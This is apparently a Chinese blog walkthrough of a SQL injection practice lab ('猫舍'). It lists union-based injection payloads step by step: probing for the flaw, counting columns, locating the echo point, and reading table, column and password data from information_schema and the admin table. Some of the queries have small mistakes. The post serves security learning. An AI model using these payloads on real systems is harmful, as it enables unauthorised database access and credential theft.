SQL注入之猫舍

点击查看新闻

我们输入不同的id,可以得到不同的数据库,那么页面也就不同

测试:id=3,有网页,我们接着测试id=4 id=5 id=6 发现都没有内容,说明id最大为3

先查看是否存在注入点:构造?id=1 and 1=1

回车后发现页面正常

构造?id=1 and 1=2 

发现页面异常,得出结论:存在注入点

第二步 判断字段数,使用order by 1 和order by 2,页面无明显异常。

当order by 3时,页面出现异常,说明字段数为2

 

 第三步 判断回显点

构造" id=1 and 1=2 union select 1,2",发现页面回显 2,所以回显点为2

 

 查询相关内容

构造'?id=1 and 1=2 union select 1,databases() ' 得到数据库名为maoshe

 查询表名:?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

 获取当前数据库表名为admin

 查询字段名:union select 1,column_name from information_schema.columns where table_schema =database() and table_name='admin' limit 0,1

获取当前表下字段名为 id

 ?id=1 and 1=2%20 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1

获取第二个字段名为 username

  ?id=1 and 1=2%20 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1

获取第三个字段名为 password

 查询用户名

查询用户名admin的密码

?id=1 and 1=2%20 union select 1,password from admin limit 0,1

得到密码为hello hack 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值